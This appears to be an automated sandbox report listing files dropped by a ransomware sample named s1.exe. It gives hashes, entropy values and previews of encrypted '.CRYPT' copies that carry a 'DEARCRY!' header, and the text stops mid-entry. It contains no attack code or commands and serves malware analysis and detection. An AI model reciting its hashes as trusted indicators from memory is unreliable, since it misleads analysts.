                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):936
                                                              Entropy (8bit):7.767786899664894
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9CAFB0F09E0DCFEDBAFB4DBB5064C0A1
                                                              SHA1:A2059B32A7374C4000910C48F61A102A41D08C1E
                                                              SHA-256:1C9DDA5D98B49C13697E49F6D2466555433FEC77C9C0C559BDEBCFAF388CE9DA
                                                              SHA-512:32AF540C5899C820BB4487E41DDFB0A23ECC9589DAEB1E07D7A470749D804F2135A6BFB9475A56BD54B08C77CB619F7524799687B2323636873290541DAF1394
                                                              Malicious:false
                                                              Preview: DEARCRY!........[2.....C...P....h..#...6.G}....\.O..q.S..4P....e.....H.o...X(xQ.v.. .F4...fTG...=..;.X..rB...m.."...8.M....Bq..g...`..k.....Yf.~.b...jX|S..!B.........*.......y|..*...!.. t.. .T.g.R.c?.......%f.4.7YC.......o.|.;z../%|......}.v~.n.@5.."Ey..Y ..................\d.(`...M -Y_n. ..U+....[I|.....J.....!.\.).f{.6..x...4...l/..}8......P...0..4......y..RW&.. ..V.G....9n....O...T.,.p.fP.\..5H...<.$.p/..........lO.........WA.u..Z...Y<.N..-M_.%.8!..A.P|.piv...C.Z.<ZJj.y....U..j..&u.._:..9..._.{.3#{.(...%.q...'.j....+.......p.b`...^K...).....FO.Cs.@N.|.az..-t......tM..L~.x-rCX....#..w...xY5...&|....>m{.....r^kY"...M...I..%....7.......G.T..1...]t".mn...^...M}.......h......;Xh......."@..(h(....2m..I).Z...i\...J...+_J....[.w.'.........m-.:.XZo-.D...llM Y....A..j)]...2....Ly.u......y.YU.+...l|.qLD6....5..\s....=Q..=G.......I....P..=.....x.2. ...>.5f.W...F..T?...........4..'.......F....
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4104
                                                              Entropy (8bit):7.961708791782082
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1336FC6667A16C88D5F27B736946C9A7
                                                              SHA1:C3AAD81C21362DE7F105ABBAE49537FAF89F6CB1
                                                              SHA-256:8270E334B0AD69ADA7FB34299825658F4B4F4EA4D8F856378A7C4A79452345DA
                                                              SHA-512:1BB434658571716F86D8C09ABB8A5EC4E9604698F0BCF054DA71F9B2128F4E541AEC15CE71195167B26D90404747518D98CCBDC05F069D47C2741329F78F78C4
                                                              Malicious:false
                                                              Preview: DEARCRY!......e...G...5.H....(.n..T..D..)..`..E ^.T.k8..G...(.....+.c.]i..)-..y_.[.>G.S.'.;<g.....,.D..g%[}...z..Go..]}..W..~..Q..=xP.W..K...|?geNtOt......t..u.v<?!m...X~.s...n.D[..2...86x.n.z-..X........s.....H.....+...bg1.n.$.}.n#..wY.AEh.4........w.]q\Lt.F5.J............}JC$.yt..6$A.{.......w...V....../&..3@+^....M........).X.&.R1t.k.....v...<.p..j;..d,..*....uIDy.....)...d.yma5.!LA..{.....hw...{$.J...c..l.%.0..>..{./{Y.LC... .v..[9...x.........#M...S..a$..&.X{U...{..f..a.5.%mY..i.4.{.....[.p:..A.j.u*.....H2;....b...>.]M."....f..?.S.3,...;_.......I.....}.6F..F.x.&.. 0.50.. ..S.0G.......&./.~~.}?.XR...$#}SK|l8V-..]c..,....4.E5........a...iq.8.=...<...X.|6i....~S-m.^.w....u..S.k...8.*.:e...Mo.YVW.7.>.H......'..e.-_[..<........1.^M..=j.......wTG(.6V..).._.......%(7".82..l.B6..".g(..._a&.0.~.........S}...}.".....O'F.`.B..h.tB.y.....q........X|........_2.c.Njx__a...f.(..m..s<*.........z5x.C..&...p^#.._DE...U....m.Z..k;.Flf.:5.<.....Tb.UzG.
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sdiagnhost.exe.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5803
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:69304B24C9F1180682EE9D64297094FA
                                                              SHA1:5B3DED12D7F0C4B4B50686052DBC48B983AC9E5A
                                                              SHA-256:4B72CDC09D3E76895CB9A3A1B6AFA243762CFBEC76F84DF85E9766E62F14ED0F
                                                              SHA-512:9877F434D052D5F7D78272DEC5EB4FF7FBAAE5CFCCC6F1635814C0285C5B94C7AFFD8E77284A0EF551DC4976324FB5309967339A342234E366C948D572840071
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sdiagnhost.exe.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6088
                                                              Entropy (8bit):7.972575974438476
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DE33660C5B6B6A46A7221D88AA413F55
                                                              SHA1:9624A5516FF45A09809DC9BD5F9771DEC3AE4182
                                                              SHA-256:D07AAC426E80429409369730258312543A814EE4BEDFC58C3E795E019E463385
                                                              SHA-512:D904D4C9B2A257802CF3A6D7479A0CF9E6FFB527503696DCD3ADF873E67823C90D780A0FE4C12E2C61519F973C74F9C7107C0AC0D08B94CFBA36B35DC1EB46C1
                                                              Malicious:false
                                                              Preview: DEARCRY!....w...e.>..9j.S.....&.Hx.\x..K...m..V.9~......{.{*5..W...3...m.s6.b(..BL.7<!..%5l..z.8.G....W..v.SQ.."E.1.L...og..6|...X./o.W.[.+%7@..".....]..r...v...0....6..n~H..`t..*X?.......n.....4X...D.k.!...S..U....l~N..M.|]..1..iC.Fj..kEG....$.....'r..).............f!....#.IR..Z.nE<.e....O..-u.tm.....=..b3.nwZ.-.>....L.+0.h._. ....j.....T.KyCW....U.C....{.|E.....3...|el.c.4h.(@.A.@..D."WRJ..@.E.y.(....Df...?..-e...{.@.7.mKg..G.p..[q.E......U... 7..,.....1..h..5./C10.E..O+../..{.q..[.~..(.:.].].v.............hG..vN....\ih.NP....n......nW.|D..t......HAa....'.0h...7K.........}}.&1...g...>...E\]2.3....E....0..&.X..}zt?....Y.H..yC.p'..y.%1X.X~."B..Gv6..Pc.3.....U.R...L'~:.n..5..+TR..[..5.... H.....'.4cm5.&....... ..g7.fr....!...).qz...]@....E..6.n..[.-.>...mf.....`...T.$.{G.D.N.u.<N.+.`..E...@.>..........#.y~..E..m..W0=CV..^......c.n....`.{..M.z....z.9...H...D&..I.8C.I.\.0....$..f..:.....O.u..r.^............G.....'....&....,$)Q..[d..$....3Z...
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\ngen.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):335
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9160C1A763EB7527C654F295123BEED3
                                                              SHA1:3348392B0A96D2FE0DA82ED1BE7FA2E073273326
                                                              SHA-256:5EA2F69932BE9F98F904B4D26A22F75754305B6E7105FEAB362D68D8E87B2793
                                                              SHA-512:17F90DA15FB38C9A48E685699A4C729182BA4D8F6FABF00EDC1873A6475B75FFE9BFDDB9F1E0EE3A9832C637AC2D3DA0AD2C83BEBC32B812FDB170399BC8ACDE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\ngen.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):616
                                                              Entropy (8bit):7.664147639354755
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BE4B7F209014D9324BAF2B510A14A6EB
                                                              SHA1:58F380F2673DBED243CEAC3AB96F06E9C683C82E
                                                              SHA-256:4A24AD633DC23C26F3BA27D9B9EA198804AEB78FBADE528E9A1BD03AE8E936F0
                                                              SHA-512:B40E2F59E494E114E2896CCB418CB1BFECAC6AEE8CE9DB195429D6702A00DAB5B5C91F08C296585EC54D357336F05C7FEEDADB9F1D8D09E566BE52FF4DE3EFE9
                                                              Malicious:false
                                                              Preview: DEARCRY!....j1......^'H@.T*4L..:a.-.$.....j O..}...Q..`\......#Xh)w.2.....Y5K.5....Od...V.....C.;..7..Q...j..1._..P. ....K..^}y....l.o5p........Y..ly..J.q.....7.$...@.:.`...n.q.z.....u.v8.Q.J261...r3...._..v^.J1...`.&...@...:j...#PC..\..R./KG].w..g:....dgz........O.............Y.....:....f.....=.'..z...}fx...../.....Yd-.......o...O.!c.k..n.BM.."...k..I....a5"... i.+._2j_L.....p....!~..l.....<..RC..s.kZ1..^.x...X.[a53I...[..^..1.F..`.1. I.r.....L.......;...I........o.L...|...l!.VC[.?3K1...,d..k-O..~)M..P.A...u3#.w<..n\.....\.;".s.....(....7NY..g.:......u..H...z..l.....+p?S..C..N.....x
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):517
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BE6BC4A942C93C9B0B2D5914E9B3461C
                                                              SHA1:4953F9D17F1F3EDC5DAF91DA33BE430628A39089
                                                              SHA-256:D2F6A6902202B7035D4D55D3C4B382D7179AF0537F30615B1DCD75190DF556FF
                                                              SHA-512:E25C2C79E47DBDBA2A5004BDB731184D491B539EF6F2928D2187964F51EC60ACA0CBBDEE39DCB45C0E6B1FC4845CA738643097FCC6DCD02079E7E43334F3D79E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):808
                                                              Entropy (8bit):7.739425089193314
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F71749BA1D5E32A427E15AAF0A24A1BC
                                                              SHA1:293AE250E09DD63963AA69F58C81A31D6603713A
                                                              SHA-256:CE3AC5C867378711A582EDB635ED2C116299331ADE1B9F94046C4821034CD614
                                                              SHA-512:DB918963014D06D09A7718B33DF7C26E13EBA95AAAE27B10C6640616DD82C47DD431AD276D8E5618C35BE1B7884DD120CCBB9911570EC5FCD677670AD1A5A933
                                                              Malicious:false
                                                              Preview: DEARCRY!....B..8...g:N.^..=Ci].....5.W...`#[L..?..k.o..3v..Q..~..z(.k....o9..^[....5..Ed..XC.#. .. .A..d... ...z...A...}...s..I..5.]..X2.../l/(...Ih.P...X..gs...fCh..[.^....=...........m...%-..X-{..q'8.....x.....#.'..A..^J%-;bG./......dv......y..Z...snq.<..............A..#......oc..R.......XZz+..eA.....Vb.Ph...x..=.KK9.{3....}..-1.nb..+}.._...M.......l.z.uNP......k$..8..]....e..<.)..h.U.gu.......='pe...uO.J.`....../9.../J.....:[Q...s./.h^.dq7..TM. /..@.....]...X..g.w.q.j..g....Um%..!.]..M...*F.2..J..P....T.x.a...9x.P.e(F%..sn..3.(.@>g....c...r..#...[,...._...$L.......*....s!.......R.G..7...#j,.U@0...^{.j..9..'..M.....8n.I.q.r.CFw.<.S.JD._!..;.$..e<4}.J.]'T.I6w..;..O.f:.e.Rn...z.H...d.R>....>.t.....&....a.$.,..y.M.%.7.e,er...C.C..c.O....;,..d.k@.@......v
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2424
                                                              Entropy (8bit):7.915032771056028
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:84C176D7B62520462F9B3F35E2EDEF77
                                                              SHA1:A1DD3727D069E592152247B4FB66CCD71EBB6AF6
                                                              SHA-256:C50A654079E40431383A21562FF0FC21C5A88B2AA75B65B6E830398A1AB4ED0A
                                                              SHA-512:045505B678563CFFCFB476F9E0766C8B9A131AEF2F67A804BB14F579ECE000E2FCACDE2A91B725BDB8475AA5AF462AFB27E5D8A9D537B8D3E4D3737FB332E9F2
                                                              Malicious:false
                                                              Preview: DEARCRY!....90J..2.N.h.8...C.X9.:.....I.A..]....&...%u5kP.ub}.6.gR.SA...V.....0S8.....{.....:/M.E....y....>..l.jo....k.jF.c.kM.DG{...l.'"..5.j...x..........h~..`....{'..O.nc...j(u..}..tB....h1B.+Y....K\....t_e... .+.)...xz.bU.ZW..pr.Y..w;.N..T.A..p+..0...f.,0....._........H..2H...oe\.'.L..'k._.2}q#.R...^.....*.i.@.-. ...jW!."..-...f...$L.I...V.dR.2......a.....j..*P.BQR..3..y.....(.....>..'..s*R./..t....u....M:..=1._.?....h.Cysg....Ni...C.E.Vl../..:L......EPj.....=...@.}.'1Q.A~.*h..Q.f.F.:.p...Q.zh-.@].6...7e.-...Q.g.....W.....z...x6C....*...k.|..[.q...3S.5#.q..@.....Y..&B.#..2q......1*v......:#g..7.tt..@...uW..#.%*.....`...O.|*...qs..+N.5Q.C.Q.....Wn.3r..<n...7..5X........f-N....hcC....._za1..A$3..{..{.5../z...m.9.....p.......ZB...D.....?mw..+.$.....3...Z.............._.J9.k..#...[.<....#.....{.........(.sr.<....3r0..k....]Q.....[*.........P)..:ug._....*n.0.........cg.6^>...2"$....4...ol.)U1S.Z`....m_N..T....{W...).U/...l..\.uI.-...>p...r=k
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\ngen.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):331
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:96039D3F3ED48D6C20A64E2A10137DF9
                                                              SHA1:1C96B80F78E7682809F14A6A5EA66D57E7C3EA6D
                                                              SHA-256:0B5BE5EC3AAB294CB7B69E4244CB16C8050B90C6ECC8313B5BAB6AE521959B0D
                                                              SHA-512:DB9FD50711DF0DEA00981F2473C0BB5A8EEE3A66D67B0A92554F7C1C98CBAB8DC9F87303D7402A96B296D7F1FD1BB9CFBC8EA1F544255DC9F8CBB321D7A7C527
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\ngen.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):616
                                                              Entropy (8bit):7.587519224681551
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C4A10CCD2112DF9A7C8DC2F46B6FBD2B
                                                              SHA1:1EAF56FACCFE16F378C9745C853FD710D13AA08A
                                                              SHA-256:0A7590A047A24EEA1D074126A40DA2EBCFE80AE7772D44C3A61A94FEEF4F36BB
                                                              SHA-512:F3BEE2B9CC34B1C889166F9AF72864490AA95859EA3E551540E923D1E3499F7CC500435ACB9FEECCC9F0FE874388020A030E51796C43DE75093E37ED764A6F40
                                                              Malicious:false
                                                              Preview: DEARCRY!....D..>V...w6|.......@>..L..8..y...j..d.H>..X.),..&..Z.b..>Z.+R.....;..|.._.8..,.....X).U.........c.].a.6%......pj..K.bc."./.....ha4.......of.............I.1..vML.t.0....s....!...q..t..s.=.)?....q.4.V.^...R.{gz..aM....e.c.R..-.N.'.*..".n...*4hEN.3.7.0.....K........G...z.+~..S...$...L.h.....jV..%...\..I...o.3.9_...q..?\...H.A.....U_.....?0...t..?.p.X.a..c..v.=./..f....t.3...u..V../.0..E..)E._...T..Un). ..Z.Wk...G.qzz.h.....9.....tk..&.O..S<...x.1..:.}.,.3Z#...h.w&@D]..3.....Z..A...R...WeE3...~..N..V's+!.........8.&..g....zr[..Gw.Z.D.A.Z|M.9..g.$V..!..+R..]....U!..!..b.G&Dxi.....
                                                              C:\Users\user\AppData\Local\Microsoft\GameDVR\KnownGameList.bin
                                                              Process:C:\Windows\explorer.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):418744
                                                              Entropy (8bit):3.4492632557651244
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0CE3B2508EF5A7A9A61BF0B09BB6611B
                                                              SHA1:CACE545D6F7DE7739A61DDA8D40CBB107575E6DD
                                                              SHA-256:4DBBE5DE4337E77871B03C953326828D95E124E69C782E72DD0ED67E801FB508
                                                              SHA-512:C99F07FD5139D8D3F761A1F27B4D7AE10254E57649015A3AB20735AB5F605E4F0773B99AC41AA3F6F8B99FC5B59FFDAC982AF429F5E5D4388B79C526DD655ADE
                                                              Malicious:true
                                                              Preview: ........B.............................. ......................................g.a.m.e.b.a.r...e.x.e.......y...w..hA..:.....:.......<...g.a.m.e.p.a.n.e.l...e.x.e...y...w..hA..:.....:.......<.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................0.0.6...D...x...a.d.v.e..$..T...a.o.k. ..@..t...a.v.p....]......b.e.a.t..|..|...b.l.a.d.....@...b.u.b.s.H.......c.k.2.g.....d...c.o.n.t.`.......d.a.n.g.d.......d.e.c.k.p*.. ...d.i.s.t..H......d.r.i.v..e..T...e.g.g.n.........e.x.o.d.|...\...f.c.p.r........f.i.g.h.....,...f.o.r.t......)..g.a.
                                                              C:\Users\user\AppData\Local\Microsoft\GameDVR\KnownGameList.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):419032
                                                              Entropy (8bit):7.999598524541019
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:2C20039C26C5E2386767808088FF804B
                                                              SHA1:780863E5A6672C35894A9B4C05C5364A9866D4FE
                                                              SHA-256:2E2D62334D9AC279A784178D2E8C006C8199AACA5A64755439420A99EB3E03A8
                                                              SHA-512:C39A0A5CF0970CA35B78F661184A5BB5C5E1A235ADFA62FC32CBA7CEA3C970D0B8659F3891D399AA2F9893B139CA703F0BA35995A9F002789B1DEC2F8738A331
                                                              Malicious:true
                                                              Preview: DEARCRY!....|..\..r....".V...V.S.$.7@.Q......~....l.C.-...d.KRB..T.......O>\.o.f........v.\#.f....b..,.qg.y.P.W&~.../d..J.Zw..:m...H9...{.......).IM..J..p<..}.r....3....&.K?..Q......+........V.{.~x^.r..u........M.*r...G.NL..S.4.w.L.h..V.R.P].k$L...,H...%.L..8.......c......=..c...c.....b%.v]..],o.[.H.D1...Xb..aM,.|.>.V..%...5....M8...D..i.g1..>.....n..m.....G...U.9.j[.^...8.u.dz..8G.Q8..g..Q......^.6E..E..l...e.,..1..[.....d+IB..D...X`G%*.l6.z..h.;...\3....V.'.....O_...P...#.A......Lq..=go..6...>]..zv.e.......l..X9F.......(.>..L..8z.~jg.4..K...a.YK1...E...[.`^..`...pH...j.=. ..|6['...=H..r.....;~5..F$y`..R_...`:S..8.}4.............F........._.$.....#[.L....Z...&..3W.H....!.a...........J.T......>..:J...9]N{...8.b8.Q...t....Zh.4.~TM..x.%..ov.`.MW*.rwJ.*|%...#..2.c.EUZ@.W..}4od-.m.8..r:.e...k..QwnD).$V..M.K.EB...$v<......P]..^..}.EV..j.Q........f.jcK:._'..zU....96..^.{c@....GdP.......%..\.t.OE....p.hLu^...1v.....o.*...-g....t...J.n..._.{..... H!@...>..
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\EmieSiteList\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.134199913152574
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:816FC11C79CE7FC80D50050F87ECB10D
                                                              SHA1:575F7D4F657659C1908A05EBEDE54B7FBC93B78F
                                                              SHA-256:8B8120D9417323E92BFEA3BFD4DEE00E9F1FC81ECC6AFCE635BBBCA5634E95C0
                                                              SHA-512:31A3A260D8EB6AB0F6435321973807AE789262F4840BBD5E046A0E1932D27E53D616A2EFCA4EE1D4993068ED59B99F9BBD99F7466653F5E115C435381882D5D4
                                                              Malicious:false
                                                              Preview: DEARCRY!....'.^...n..UI.,...u...)z.....Rr...g.......k.6..rn.(..y.......@..%....}v$o9|..0d?..c..gL5Y....k.9..N_..U{N.ZF..."....o8>.L/.......;.I.N.=1;.e).2..I~....?.da...?.....|..I.....&>.Y./~....O X..0...K{Z/..X.......g.....o.]N~.J<[.k..!.c.X.r.[.%F,...$.v...................i..[j.YV.pI..Ov
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\EmieUserList\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.192830426688829
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4FA26454BF68B907D31ED13E910F959D
                                                              SHA1:C9C4E32648CC39C7B232150E693E91543F9443EF
                                                              SHA-256:AEF051ABED6F18B3EDCFD35318E2BDCF1E900FACA3ABA51009F1F0123BD4947F
                                                              SHA-512:56891EC0E16A78EB2C8EC7612D45EB13576EBB86F847590A6688EA044425E9292FA641E47897F965661C52CE68F52A9BEAEC825F20712234EDB7895A5B787D02
                                                              Malicious:false
                                                              Preview: DEARCRY!.......7..e.*......@.....^...K....Q.....L.\.8.9#Z.v..W..O...6...-(.:.h9.5h....3L...`;..p.wWI.rL...$*.m...(./Y..../.......WJ`.A8&..?g@.J.....Hr9>0+0......s.}.......@.(v....M..\.Hz..<..5.....X.[..bO.iT$.....u.5.b.S.1..b~U.q....QKF..FQ.AiU..PY0EL................Wy.M.`.!....\j
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):701181
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:99FF35C3438879CB225DB8CC5FD537D1
                                                              SHA1:232BE277A354CC9553309B827AECD4880524462F
                                                              SHA-256:0D69C662B60C9B2E3DF195C181D99317D1CAD72F7F25AF2D161BEEC27D89A400
                                                              SHA-512:472B26B189D40CFFB814092363C9D6EC90BE655D4EDDBEA55C11AFFF648D42FA2B85190218E35BB0F0AA87674C520276B88EDD56025D71AB61E8240B73BF2474
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):702024
                                                              Entropy (8bit):7.9997398340111845
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:82DD3FD4BEC4F30AF7924D8CEE9CEF1F
                                                              SHA1:C70C648F97E123230523A1E7CFDF24A2346CE617
                                                              SHA-256:605119D9D7FD5E60FBB921AC71D8AD84A8EEEAD9FBD889C94CEFEE7699BBEE54
